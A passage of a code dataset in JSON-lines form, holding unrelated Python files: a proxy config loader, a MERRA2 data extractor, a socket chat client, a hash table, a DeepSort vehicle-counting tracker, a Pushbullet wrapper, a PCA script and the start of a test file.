self.translate(conf[self.ACTIVE]['ca'])\r\n config.LOCAL_PORT = int(conf[self.ACTIVE]['local_port'])\r\n config.SERVER_HOST = conf[self.ACTIVE]['server_host']\r\n config.SERVER_PORT = int(conf[self.ACTIVE]['server_port'])\r\n config.CHINA_LIST_PATH = self.translate(conf[self.ACTIVE]['china_list_path'])\r\n self.load_CHINA_LIST()\r\n else:\r\n example = {'mode': '','active': '','my_server':{'uuid': '','ca': '','server_host': '','server_port': '','local_port': '','china_list_path': ''}}\r\n file = open(conf_path, 'w')\r\n dump(example, file, indent=4)\r\n file.close()\r\n raise AttributeError\r\n\r\n\r\n def deepsearch(self,CHINA_LIST, location):\r\n for key in location.keys():\r\n if key not in CHINA_LIST:\r\n CHINA_LIST[key] = location[key]\r\n else:\r\n self.deepsearch(CHINA_LIST[key], location[key])\r\n\r\n def load_CHINA_LIST(self):\r\n file = open(self.CHINA_LIST_PATH,'r')\r\n data = load(file)\r\n file.close()\r\n for x in data:\r\n sigment = x.split('.')\r\n if match('\\D', sigment[-1]) == None:\r\n sigment.reverse()\r\n location = {'|': {}}\r\n for y in sigment:\r\n location = {y: location}\r\n self.deepsearch(self.CHINA_LIST, location)\r\n\r\n def translate(self,path):\r\n return path.replace('\\\\', '/')\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n server = Crack()\r\n server.serve_forever(0.01)\r\n except AttributeError:\r\n pass","sub_path":"LocalServer.py","file_name":"LocalServer.py","file_ext":"py","file_size_in_byte":7735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"504140126","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 26 01:19:39 2021\n\n@author: boraulu\n\"\"\"\nfrom __future__ import absolute_import\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nfrom collections import defaultdict\nimport warnings\n\ndef ValidityCheck(y, SpMatrix):\n checkY = csr_matrix(y.ravel()).dot(SpMatrix)\n if checkY.min() <= -10**4:\n warnings.warn('The rounding of y has failed: checkY.min()='+str(checkY.min())+'')\n return checkY.min() >= -10 ** -10\n\ndef IntelligentRound(y, SpMatrix):\n #y = np.asanyarray(y, dtype=np.float_)\n scale = np.abs(np.amin(y))\n n = 1\n # yt=np.rint(y*n)\n # yt=y*n\n y2 = np.rint(n * y / scale).astype(np.int) # Can I do this with sparse y?\n\n while n<=720:\n vcheck = ValidityCheck(y2, SpMatrix)\n if vcheck:\n break\n else:\n n = n * (n + 1)\n y2 = np.rint(np.asanyarray(n * y / scale, dtype=np.float_)).astype(np.int)\n if vcheck:\n return y2\n else:\n warnings.warn('Unable to round y. Try again with simplex method instead of interior point?', RuntimeWarning, stacklevel=2)\n return y\n # while n <= 720 and not ValidityCheck(y2, SpMatrix):\n # n = n * (n + 1)\n # # yt=np.rint(y*n)\n # # yt=yt*n\n # # yt=yt/n\n # y2 = np.rint(np.asanyarray(n * y / scale, dtype=np.float_)).astype(np.int)\n # # y2=y2/(n*10)\n # # if n > 10**6:\n # # y2=y\n # # print(\"RoundingError: Unable to round y\")\n # # yt=np.rint(yt*100)\n #\n # return y2\n\ndef indextally(y):\n \n indextally = defaultdict(list)\n [indextally[str(val)].append(i) for i, val in enumerate(y) if val != 0]\n \n return indextally\n\ndef symboltally(indextally,symbolic_b):\n \n symboltally = defaultdict(list)\n for i, vals in indextally.items():\n symboltally[i] = np.take(symbolic_b, vals).tolist()\n \n return symboltally\n\ndef inequality_as_string(y, symbolic_b):\n\n final_ineq_WITHOUT_ZEROS = list(map(''.join, np.vstack((y, symbolic_b)).T[np.flatnonzero(y)]))\n Inequality_as_string = '0<=' + \"+\".join(final_ineq_WITHOUT_ZEROS).replace('+-', '-').replace('+1P', '+P').replace('-1P', '-P')\n\n return Inequality_as_string.replace('=1P', '=P')","sub_path":"inflation/internal_functions/inequality_internals.py","file_name":"inequality_internals.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"549623648","text":"import xarray as xr\nimport numpy as np\nimport math\nimport scipy\nimport datetime\nimport sys\nimport os\n\n\ndef extract_dataset(lats, lons, dataset_path, variables, datevecs, interpolate=True):\n \"\"\" extract variables from dataset \"\"\"\n dataset = xr.open_dataset(dataset_path).sel(lat=lats, lon=lons, method='nearest')[\n variables] # ectract nearest stations point for given lats and lons\n if dataset['time'].size > 1:\n if interpolate:\n dataset_interpolation = dataset.interp(time=datevecs) # use datevecs to interpolate\n else:\n dataset_interpolation = dataset\n else:\n dataset_interpolation = dataset\n\n lons_fixed = dataset_interpolation['lon'].data # station lons\n lats_fixed = dataset_interpolation['lat'].data # station_lats\n var = []\n for index_variables in variables:\n if interpolate:\n station_data = np.empty([len(datevecs), len(lats_fixed)], dtype=float)\n for index_station in range(len(lons_fixed)):\n station_data[:, index_station] = np.array([dataset_interpolation[index_variables].sel(\n lat=lats_fixed[index_station], lon=lons_fixed[index_station]).data]).T[:, 0]\n else:\n station_data = np.empty([len(lons_fixed), 1], dtype=float) # for phis\n for index_station in range(len(lons_fixed)):\n station_data[index_station, :] = np.array([dataset_interpolation[index_variables].sel(\n lat=lats_fixed[index_station], lon=lons_fixed[index_station]).data])[:, 0]\n var.append(station_data)\n\n return var\n\n\ndef extract_MERRA2(lats, lons, datavecs, elevs=1):\n '''extract data from merra2 '''\n\n # safety check\n if np.size(lats, 0) != np.size(lons, 0):\n print('ERROR: lats and lons dimention not match')\n return -1\n\n\n aer_pool = ['TOTEXTTAU', 'TOTSCATAU', 'TOTANGSTR']\n rad_pool = ['ALBEDO']\n slv_pool = ['TO3', 'TQV', 'PS']\n asm_pool = ['PHIS']\n\n aerpath = 'dir_to_aer_dataset'\n radpath = 'dir_to_rad_dataset'\n slvpath = 'dir_to_slv_dataset'\n asmpath = 'dir_to_asm_dataset'\n\n aer_var = extract_dataset(lats, lons, aerpath, aer_pool, datavecs)\n rad_var = extract_dataset(lats, lons, radpath, rad_pool, datavecs)\n slv_var = extract_dataset(lats, lons, slvpath, slv_pool, datavecs)\n asm_var = extract_dataset(lats, lons, asmpath, asm_pool, datavecs, interpolate=False)\n\n tot_aer_ext = aer_var[1]\n AOD_550 = aer_var[0]\n tot_angst = aer_var[2]\n ozone = slv_var[0]\n albedo = rad_var[0]\n water_vapour = slv_var[1]\n pressure = slv_var[2]\n phis = asm_var[0]\n\n water_vapour = water_vapour * 0.1\n ozone = ozone * 0.001\n h = phis / 9.80665\n h0 = elevs\n Ha = 2100\n scale_height = np.exp((h0 - h) / Ha)\n AOD_550 = AOD_550 * scale_height.T\n water_vapour = water_vapour * scale_height.T\n tot_angst[tot_angst < 0] = 0\n return [tot_aer_ext, AOD_550, tot_angst, ozone, albedo, water_vapour, pressure]\n\n\nif __name__ == '__main__':\n '''test extract script'''\n lats = np.random.random(2) * 90\n lons = np.random.random(2) * 360 - 180\n date = ['2018-01-01T00:30:00', '2018-01-01T01:45:00', '2018-01-01T02:30:00']\n var = extract_MERRA2(lats, lons, date)\n # print(var)\n # nc_data = xr.open_dataset(datapath)\n # print(nc_data)\n # print(nc_obj)\n","sub_path":"extract/ExtractMERRA2.py","file_name":"ExtractMERRA2.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"329094511","text":"import socket\nimport select\nimport sys\n\nHOST = 'localhost'\nPORT = 12001\n\nMASTER_SOCK = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nMASTER_SOCK.settimeout(200)\n\n# Try to connect to server\ntry:\n MASTER_SOCK.connect((HOST, PORT))\nexcept Exception as msg:\n print(type(msg).__name__)\n print(\"Unable to connect\")\n sys.exit()\n\nprint(\"Connected to remote host. Start sending messages\")\n\nwhile True:\n SOCKET_LIST = [sys.stdin, MASTER_SOCK]\n # Get the list sockets which are readable\n READ_SOCKETS, WRITE_SOCKETS, ERROR_SOCKETS = select.select(SOCKET_LIST, [], [])\n\n # Incoming message from remote server\n for sock in READ_SOCKETS:\n if sock == MASTER_SOCK:\n data = sock.recv(4096)\n if not data:\n print('\\nDisconnected from chat server')\n sys.exit()\n else: # Print data\n print(data.decode())\n else: # User entered a message\n msg = sys.stdin.readline()\n print(\"\\x1b[1A\" + \"\\x1b[2K\") # erase last line\n MASTER_SOCK.sendall(msg.encode())\n","sub_path":"ChatClient.py","file_name":"ChatClient.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"193142634","text":"class HashTable():\n\n\n def __init__(self,size = 50):\n self.size = size\n self._buckets = [None for _ in range(size)]\n\n\n def hash(self,key):\n \"\"\"\n take a key as a string and\n return a index as int where value will set in bucket.\n \"\"\"\n hash = 0\n for value in key :\n hash += ord(value)\n return (hash *3) % self.size\n\n def add(self,key,value):\n \"\"\"\n add the value in index that takes from a key to bucket , no return.\n \"\"\"\n index = self.hash(key)\n if not self._buckets[index] :\n self._buckets[index] = [[key,value]]\n else:\n self._buckets[index].append([key,value])\n\n def get(self,key):\n \"\"\"\n return value that placed in index\n \"\"\"\n index = self.hash(key)\n if not self._buckets[index] :\n raise Exception('no key like that')\n\n for value in self._buckets[index] :\n if value[0] == key:\n return value[1]\n\n\n def contains(self,key):\n \"\"\"\n return if value in buckets or not\n \"\"\"\n index = self.hash(key)\n if not self._buckets[index]:\n return False\n for value in self._buckets[index] :\n if value[0] == key:\n return True\n\n\n\n\n","sub_path":"python/hashtable/hashtable/hashtable.py","file_name":"hashtable.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"611952078","text":"import time\nimport torch\nfrom torch.backends import cudnn\nfrom matplotlib import colors\nimport os\nfrom utils.utils import *\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom models.deepsort.deep_sort import DeepSort\nfrom tqdm import tqdm\nimport argparse\nimport json\nimport cv2\nfrom configs import Config\n\nclass VideoTracker():\n def __init__(self, args, config):\n self.video_name = args.video_name #cam_01\n self.out_path = args.out_path\n self.cam_id = int(self.video_name[-2:])\n self.display = args.display\n \n cfg = config.cam[self.video_name]\n cam_cfg = cfg['tracking_config']\n \n self.frame_start = args.frame_start\n self.frame_end = args.frame_end\n self.zone_path = cfg['zone']\n self.video_path = cfg['video']\n self.boxes_path = cfg['boxes']\n self.classes = config.classes\n self.idx_classes = {idx:i for idx,i in enumerate(self.classes)}\n self.num_classes = len(config.classes)\n self.width, self.height = config.size\n\n ## Those polygons and directions are included in the dataset\n self.polygons, self.directions = self.get_annotations()\n\n ## Build up a tracker for each class\n self.deepsort = [self.build_tracker(config.checkpoint, cam_cfg) for i in range(self.num_classes)]\n\n\n if not os.path.exists(self.out_path):\n os.mkdir(self.out_path)\n output_vid = os.path.join(self.out_path,self.video_name+'.mp4')\n self.writer = cv2.VideoWriter(output_vid,cv2.VideoWriter_fourcc(*'mp4v'), 10, (self.width,self.height))\n \n def build_tracker(self, checkpoint, cam_cfg):\n return DeepSort(\n checkpoint, \n max_dist=cam_cfg['MAX_DIST'],\n min_confidence=cam_cfg['MIN_CONFIDENCE'], \n nms_max_overlap=cam_cfg['NMS_MAX_OVERLAP'],\n max_iou_distance=cam_cfg['MAX_IOU_DISTANCE'], \n max_age=cam_cfg['MAX_AGE'],\n n_init=cam_cfg['N_INIT'],\n nn_budget=cam_cfg['NN_BUDGET'],\n use_cuda=1)\n\n def get_annotations(self):\n with open(self.zone_path, 'r') as f:\n anno = json.load(f)\n \n directions = {}\n zone = anno['shapes'][0]['points']\n for i in anno['shapes']:\n if i['label'].startswith('direction'):\n directions[i['label'][-2:]] = i['points']\n return zone, directions\n '''\n def submit(self, moi_detections):\n submission_path = os.path.join(self.out_path, 'submission')\n if not os.path.exists(submission_path):\n os.mkdir(submission_path)\n file_name = os.path.join(submission_path, self.video_name)\n result_filename = '{}.txt'.format(file_name)\n result_debug = '{}_debug.txt'.format(file_name)\n with open(result_filename, 'w+') as result_file, open(result_debug, 'w+') as debug_file:\n for obj_id , frame_id, movement_id, vehicle_class_id in moi_detections:\n result_file.write('{} {} {} {}\\n'.format(self.video_name, frame_id, str(int(movement_id)), vehicle_class_id+1))\n if self.display:\n debug_file.write('{} {} {} {} {}\\n'.format(obj_id, self.video_name, frame_id, str(int(movement_id)), vehicle_class_id+1))\n print('Save to',result_filename,'and', result_debug)\n '''\n\n def run(self):\n # Dict to save object's tracks per class\n self.obj_track = [{} for i in range(self.num_classes)]\n vidcap = cv2.VideoCapture(self.video_path)\n idx_frame = 0\n frame_id =-1\n movement_id = -1\n results={}\n try:\n with tqdm(total=self.frame_end) as pbar:\n\n num_obj =[]\n count_veh_00=[]\n count_veh_01=[]\n count_veh_02=[]\n count_veh_03=[]\n\n count_veh_lane1_00=[]\n count_veh_lane1_01=[]\n count_veh_lane1_02=[]\n count_veh_lane1_03=[]\n\n count_veh_lane2_00=[]\n count_veh_lane2_01=[]\n count_veh_lane2_02=[]\n count_veh_lane2_03=[]\n\n while vidcap.isOpened():\n success, im = vidcap.read()\n if idx_frame < self.frame_start:\n idx_frame+=1\n continue\n anno = os.path.join(self.boxes_path, str(idx_frame).zfill(5) + '.json')\n if not success:\n break\n\n moi_detections = counting_moi(self.directions ,self.obj_track, self.polygons, self.cam_id)\n #print(str(moi_detections))\n\n ## Draw polygons to frame\n ori_img = im[..., ::-1]\n overlay_moi = im.copy()\n alpha = 0.2\n cv2.fillConvexPoly(overlay_moi, np.array(self.polygons).astype(int), (255,255,0))\n #cv2.arrowedLine(overlay_moi, np.array(self.directions).astype(int), (255,255,0))\n im_moi = cv2.addWeighted(overlay_moi, alpha, im, 1 - alpha, 0)\n cv2.putText(im_moi,\"Frame_id: \" + str(idx_frame), (10,30), cv2.FONT_HERSHEY_SIMPLEX , 1 , (255,255,0) , 2)\n \n stt=0\n for obj_id , frame_id, movement_id, vehicle_class_id in moi_detections:\n results[stt] = {'obj_id' : [obj_id],'frame_id' : [frame_id],'movement_id':[movement_id],'vehicle_class_id' : [vehicle_class_id]}\n stt=stt+1\n \n \n ## Read in detection results\n try:\n with open(anno, 'r') as f:\n objs = json.load(f)\n except FileNotFoundError:\n print(\"Tracked {} frames\".format(idx_frame+1))\n break\n\n bbox_xyxy = np.array(objs['bboxes'])\n cls_conf = np.array(objs['scores'])\n cls_ids = np.array(objs['classes'])\n\n # Check only bbox in roi\n ## Those rois are provided with the dataset\n mask = np.array([1 if check_bbox_intersect_polygon(self.polygons,i.tolist()) else 0 for i in bbox_xyxy])\n bbox_xyxy_ = np.array(bbox_xyxy[mask==1])\n cls_conf_ = np.array(cls_conf[mask==1])\n cls_ids_ = np.array(cls_ids[mask==1])\n\n for i in range(self.num_classes):\n mask = cls_ids_ == i\n bbox_xyxy = bbox_xyxy_[mask]\n cls_conf = cls_conf_[mask]\n cls_ids = cls_ids_[mask]\n\n if len(cls_ids) > 0:\n outputs = self.deepsort[i].update(bbox_xyxy, cls_conf, ori_img)\n\n ## Save object's tracks for later counting\n ### identity: object's id number\n ### label: object's class\n ### coords: center of object's bounding box\n ### frame_id: the current frame\n ### movement_id: the current lane\n for obj in outputs:\n identity = obj[-1]\n center = [(obj[2]+obj[0]) / 2, (obj[3] + obj[1])/2]\n label = i\n \n #print(str(i)+\"|\"+str(identity)+\"|\"+str(center))\n if identity not in self.obj_track[i]:\n self.obj_track[i][identity] = {\n 'identity': identity,\n 'labels': [label],\n 'coords': [center],\n 'frame_id': [idx_frame]\n }\n else:\n self.obj_track[i][identity]['labels'].append(label)\n self.obj_track[i][identity]['coords'].append(center)\n self.obj_track[i][identity]['frame_id'].append(idx_frame)\n self.obj_track[i][identity]['identity'] = identity\n\n # print(\"===\")\n #print(self.obj_track[i])\n\n #for x in self.obj_track[i][identity]['movement_id']:\n #print(x)\n #print(\"===== ===== =====\", identity, center, label,movement_id)\n \n \n im_show = re_id(outputs, im_moi, labels=i)\n else:\n im_show = im_moi\n\n lane = 0\n idtxt = 0\n for k,v in self.obj_track[i].items():\n \n idframe = v['frame_id'][-1]\n idx = v['identity']\n #print(str(idframe))\n #print(str(v['identity']))\n\n #tim lane cho cac loai xe------\n for a,x in results.items():\n if x['obj_id'] == idx:\n idtxt = x['obj_id']\n lane = x['movement_id']\n if x['frame_id']==[idframe]:\n lane = x['movement_id']\n #print(str(identity)+\"|\"+str(frame_id)+\"|\"+str(movement_id))\n break\n\n #tim lane cho cac loai xe------\n #print(str(lane))\n for k1,v1 in v.items():\n ## xe may\n if k1==\"labels\" and v1[0]==0:\n if k not in count_veh_00:\n count_veh_00.append(k)\n #print(str(idx)+\" lane:\"+str(lane)+\": \"+str(len(count_veh_00)))\n if lane != [1] and lane != [2]:\n print(str(k))\n if k not in count_veh_lane1_00 and lane == [1]:\n count_veh_lane1_00.append(k)\n #print(\"lane1 :\"+str(len(count_veh_lane1_00)))\n if k not in count_veh_lane2_00 and lane == [2]:\n count_veh_lane2_00.append(k)\n #print(\"lane1 :\"+str(len(count_veh_lane2_00)))\n\n ## xe hoi\n if k1==\"labels\" and v1[0]==1:\n if k not in count_veh_01:\n count_veh_01.append(k)\n if k not in count_veh_lane1_01 and lane == [1]:\n count_veh_lane1_01.append(k)\n if k not in count_veh_lane2_01 and lane == [2]:\n count_veh_lane2_01.append(k)\n\n ## xe buyst\n if k1==\"labels\" and v1[0]==2:\n if k not in count_veh_02:\n count_veh_02.append(k)\n if k not in count_veh_lane1_02 and lane == [1]:\n count_veh_lane1_02.append(k)\n if k not in count_veh_lane2_02 and lane == [2]:\n count_veh_lane2_02.append(k)\n \n ## xe tai\n if k1==\"labels\" and v1[0]==3:\n if k not in count_veh_03:\n count_veh_03.append(k)\n if k not in count_veh_lane1_03 and lane == [1]:\n count_veh_lane1_03.append(k)\n if k not in count_veh_lane2_03 and lane == [2]:\n count_veh_lane2_03.append(k)\n\n im_show = cv2.arrowedLine(im_show, (570, 180), (300, 700), (0, 255, 0), 2)\n cv2.putText(im_show,\"1\", (270,700), cv2.FONT_HERSHEY_COMPLEX , 1 , (0,255,0) , 1) \n im_show = cv2.arrowedLine(im_show, (620, 700), (650, 180), (0, 0, 255), 2)\n cv2.putText(im_show,\"2\", (650,180), cv2.FONT_HERSHEY_COMPLEX , 1 , (0,0,255) , 1)\n\n cv2.rectangle(im_moi,(1280-500,0),(1280,140),(255, 255, 255),-1)\n cv2.putText(im_show, \"motorcycle \" + \"car \" + \"bus \" + \"truck \", (1280-400,30), cv2.FONT_HERSHEY_SIMPLEX , 1 , (0,0,0) , 1)\n cv2.putText(im_show, \" lane1: \"+str(len(count_veh_lane1_00)) +\" \"+str(len(count_veh_lane1_01)) +\" \"+str(len(count_veh_lane1_02)) +\" \"+str(len(count_veh_lane1_03)) , (1280-500,60), cv2.FONT_HERSHEY_SIMPLEX , 1 , (0,255,0) , 1)\n cv2.putText(im_show, \" lane2: \"+str(len(count_veh_lane2_00)) +\" \"+str(len(count_veh_lane2_01)) +\" \"+str(len(count_veh_lane2_02)) +\" \"+str(len(count_veh_lane2_03)) , (1280-500,90), cv2.FONT_HERSHEY_SIMPLEX , 1 , (0,0,255) , 1)\n \n\n if self.display:\n self.writer.write(im_show)\n \n idx_frame += 1\n pbar.update(1)\n except KeyboardInterrupt:\n pass\n \n ### You can use the obj_track to output some numeric results such as counting\n \n with open(os.path.join(self.out_path, f'{self.video_name}_tracking_result.json'), 'w') as fout:\n print(\"----\")\n print(\"name: \", self.video_name)\n print(\"path: \", self.out_path)\n json.dump(str(self.obj_track), fout)\n\n\n \n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Inference AIC Challenge Dataset')\n parser.add_argument('video_name', help='configuration cam file')\n parser.add_argument('--out_path', type=str, default='results', help='output path') \n parser.add_argument('--frame_start', default = 0, help='start at frame')\n parser.add_argument('--frame_end', default = 6000, help='end at frame')\n parser.add_argument('--config', type=str, default='cam_configs.yaml', help='configuration cam file')\n parser.add_argument('--display', action='store_true', default = True, help='debug print object id to file') \n args = parser.parse_args()\n configs = Config(os.path.join('configs',args.config))\n tracker = VideoTracker(args, configs)\n tracker.run()","sub_path":"track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":15303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"648085316","text":"import json\n\nfrom ... import requests\n\nclass Device(object):\n\n\tPUSH_URL = \"https://api.pushbullet.com/api/pushes\"\n\n\tdef __init__(self, api_key, device_id, device_info = None):\n\t\tself.api_key = api_key\n\t\tself.device_id = device_id\n\n\t\tdevice_info = device_info or {}\n\n\t\tself.owner = device_info.get(\"owner_name\")\n\n\t\textras = device_info.get(\"extras\", {})\n\t\tself.model = extras.get(\"model\")\n\t\tself.manufacturer = extras.get(\"manufacturer\")\n\t\tself.android_version = extras.get(\"android_version\")\n\t\tself.sdk_version = extras.get(\"sdk_version\")\n\t\tself.app_version = extras.get(\"app_version\")\n\n\t\tself._fullname = \"{} {} {}\".format(self.manufacturer,\n\t\t\t\t\t\t\t\t\t\t self.model, self.android_version)\n\n\t\tnickname = extras.get(\"nickname\")\n\t\tself.name = nickname or self._fullname\n\n\t\tself._json_header = {'Content-Type': 'application/json'}\n\n\tdef push_note(self, title, body):\n\t\tdata = {\"type\": \"note\", \"title\": title, \"body\": body}\n\t\treturn self._push(data, headers=self._json_header)\n\n\tdef push_address(self, name, address):\n\t\tdata = {\"type\": \"address\", \"name\": name, \"address\": address}\n\t\treturn self._push(data, headers=self._json_header)\n\n\tdef push_list(self, title, items):\n\t\tdata = {\"type\": \"list\", \"title\": title, \"items\": items}\n\t\treturn self._push(data, headers=self._json_header)\n\n\tdef push_file(self, file):\n\t\tdata = {\"type\": \"file\"}\n\t\tfiles = {\"file\": file}\n\t\treturn self._push(data, files=files)\n\n\tdef push_link(self, title, url):\n\t\tdata = {\"type\": \"link\", \"title\": title, \"url\": url}\n\t\treturn self._push(data, headers=self._json_header)\n\n\tdef _push(self, data, headers={}, files = {}):\n\t\tdata[\"device_id\"] = self.device_id\n\t\tif not files:\n\t\t\tdata = json.dumps(data)\n\t\theaders.update({\"User-Agent\": \"ifttt2pushbullet.herokuapp.com\"})\n\t\treturn requests.post(self.PUSH_URL, data=data, headers=headers,\n\t\t\t\t\t\t\t files=files, auth=(self.api_key, \"\"))\n\n\tdef __repr__(self):\n\t\treturn \"Device('{}', {})\".format(self.api_key, self.device_id)\n","sub_path":"libs/notifications/pushbullet/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"95066194","text":"# Author: Hamidreza Nademi\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error\nimport math\n\n\ndef read_train_data(path_file):\n \"\"\" Read data and build train data matrix \"\"\"\n def convert_to_float(row):\n \"\"\" Convet string to float \"\"\"\n return [float(i) for i in row]\n\n def vectorize_row(row):\n return [round(i) for i in row]\n\n train_data = []\n with open(file=path_file, mode='r') as train_file:\n lines = train_file.readlines()\n for line in lines:\n train_data.append(\n line.split('\\t')[:784]\n )\n\n # convert string to float\n train_data = list(map(convert_to_float, train_data))\n\n # Vectorize each train data\n train_data = list(map(vectorize_row, train_data))\n\n return np.asarray(train_data).T\n\n\ndef compute_mse(mean_vector, train_data, eigenvectors):\n lst_mse = []\n x_bar = train_data-np.array([mean_vector]).T\n eigenvectors = eigenvectors.T\n\n for d in range(1, len(eigenvectors)):\n w = eigenvectors[:d]\n # PCA\n y = np.matmul(a=w, b=x_bar)\n\n # PCA reconstruction\n y_hat = np.matmul(a=y.T, b=w)+mean_vector\n\n # Compute MSE\n lst_mse.append(mean_squared_error(y_true=train_data, y_pred=y_hat.T))\n\n return lst_mse\n\n\ndef main():\n # read data\n train_data = read_train_data(path_file='train_Data.txt')\n\n # Compute covariance matrix of train data\n covariance_matrix = np.cov(\n train_data,\n rowvar=True\n )\n\n # Compute mean vector of train data\n mean_vector = np.mean(train_data, axis=1)\n\n # Compute eigenvector and eigenvalue of covariance matrix\n eigenvalues, eigenvectors = np.linalg.eig(covariance_matrix)\n\n # Sort eigenvalues and eigenvectors\n idx = eigenvalues.argsort()[::-1]\n eigenvalues = eigenvalues[idx]\n eigenvectors = eigenvectors[:, idx]\n\n # Compute MSE\n lst_mse = compute_mse(\n mean_vector=mean_vector,\n train_data=train_data,\n eigenvectors=eigenvectors\n )\n\n # Plot d versus MSE\n plt.plot([i for i in range(1, len(eigenvectors))], lst_mse)\n plt.show()\n print()\n\n\nmain()\n","sub_path":"Pattern Recognition/Practical#4/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":2178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"386497009","text":"#!/usr/bin/env python2\n#\n# (c) Copyright 2017 Hewlett Packard Enterprise Development LP\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport zing_stats\n\n\ndef test_helloworld():\n assert 1 == 1\n\n\ndef test_parse_gerrit_change_message():\n messages = [\n {\n '_revision_number': 1,\n 'author': {\n '_account_id': 12\n },\n 'date': '2017-04-20 17:15:24.000000000',\n 'id': '9a5c5d37_e7c9a25b',\n 'message': 'Uploaded patch set 1.'\n },\n {\n '_revision_number': 1,\n 'author': {\n '_account_id': 6\n },\n 'date': '2017-04-20 17:15:35.000000000',\n 'id': '9a5c5d37_a7c3aa37',\n 'message': 'Patch Set 1:\\n\\nStarting check jobs.'\n },\n {\n '_revision_number': 1,\n 'author': {\n '_account_id': 6\n },\n 'date': '2017-04-20 17:15:44.000000000',\n 'id': '9a5c5d37_67ddb214',\n 'message': 'Patch Set 1: Verified+1\\n\\nBuild succeeded\\n\\n- https://zing.example.net/jenkins/job/test-check/6/ : SUCCESS in 7s' # noqa\n },\n ]\n msg0 = zing_stats.parse_ci_job_comments(messages[0])\n assert msg0 == {}\n msg1 = zing_stats.parse_ci_job_comments(messages[1])\n assert msg1 == {}\n msg2 = zing_stats.parse_ci_job_comments(messages[2])\n assert msg2['num'] == '1'\n assert msg2['status'] == 'succeeded'\n assert msg2['v_score'] == '+1'\n\n assert len(msg2['jobs']) == 1\n assert msg2['jobs'][0]['name'] == 'test-check'\n assert msg2['jobs'][0]['non_voting'] is None\n\n\ndef test_parse_github_change_message():\n messages = [\n {\n \"body\": \"@aaaa @bbbb @ccccc xxxxxxxx\",\n \"created_at\": \"2017-12-06T10:49:06Z\",\n \"html_url\": \"https://github.example.com/foo/api/pull/1153#issuecomment-429779\",\n \"id\": 429779,\n \"issue_url\": \"https://github.example.com/api/v3/repos/foo/api/issues/1153\",\n \"updated_at\": \"2017-12-06T10:49:06Z\",\n \"url\": \"https://github.example.com/api/v3/repos/foo/api/issues/comments/429779\",\n \"user\": {\n \"avatar_url\": \"https://avatars.github.example.com/u/19638?\",\n \"events_url\": \"https://github.example.com/api/v3/users/a_user/events{/privacy}\",\n \"followers_url\": \"https://github.example.com/api/v3/users/a_user/followers\",\n \"following_url\": \"https://github.example.com/api/v3/users/a_user/following{/other_user}\",\n \"gists_url\": \"https://github.example.com/api/v3/users/a_user/gists{/gist_id}\",\n \"gravatar_id\": \"\",\n \"html_url\": \"https://github.example.com/a_user\",\n \"id\": 19638,\n \"login\": \"a_user\",\n \"organizations_url\": \"https://github.example.com/api/v3/users/a_user/orgs\",\n \"received_events_url\": \"https://github.example.com/api/v3/users/a_user/received_events\",\n \"repos_url\": \"https://github.example.com/api/v3/users/a_user/repos\",\n \"site_admin\": \"false\",\n \"starred_url\": \"https://github.example.com/api/v3/users/a_user/starred{/owner}{/repo}\",\n \"subscriptions_url\": \"https://github.example.com/api/v3/users/a_user/subscriptions\",\n \"type\": \"User\",\n \"url\": \"https://github.example.com/api/v3/users/a_user\"\n }\n },\n {\n \"body\": \"Build succeeded\\n\\n- http://logs.example.net/check-github/foo/api/111153/151255557209.72/foo-example-check : SUCCESS in 2m 38s\\n- http://logs.example.net/check-github/foo/api/111153/151112557209.72/foo-sec-scan : SUCCESS in 4s (non-voting)\\n- http://logs.example.net/check-github/foo/api/122153/151332557209.72/another-scan : SUCCESS in 4s (non-voting)\\n\",\n \"created_at\": \"2017-12-06T10:49:06Z\",\n \"html_url\": \"https://github.example.com/foo/api/pull/1153#issuecomment-429779\",\n \"id\": 429779,\n \"issue_url\": \"https://github.example.com/api/v3/repos/foo/api/issues/1153\",\n \"updated_at\": \"2017-12-06T10:49:06Z\",\n \"url\": \"https://github.example.com/api/v3/repos/foo/api/issues/comments/429779\",\n \"user\": {\n \"avatar_url\": \"https://avatars.github.example.com/u/19638?\",\n \"events_url\": \"https://github.example.com/api/v3/users/a_user/events{/privacy}\",\n \"followers_url\": \"https://github.example.com/api/v3/users/a_user/followers\",\n \"following_url\": \"https://github.example.com/api/v3/users/a_user/following{/other_user}\",\n \"gists_url\": \"https://github.example.com/api/v3/users/a_user/gists{/gist_id}\",\n \"gravatar_id\": \"\",\n \"html_url\": \"https://github.example.com/a_user\",\n \"id\": 19638,\n \"login\": \"a_user\",\n \"organizations_url\": \"https://github.example.com/api/v3/users/a_user/orgs\",\n \"received_events_url\": \"https://github.example.com/api/v3/users/a_user/received_events\",\n 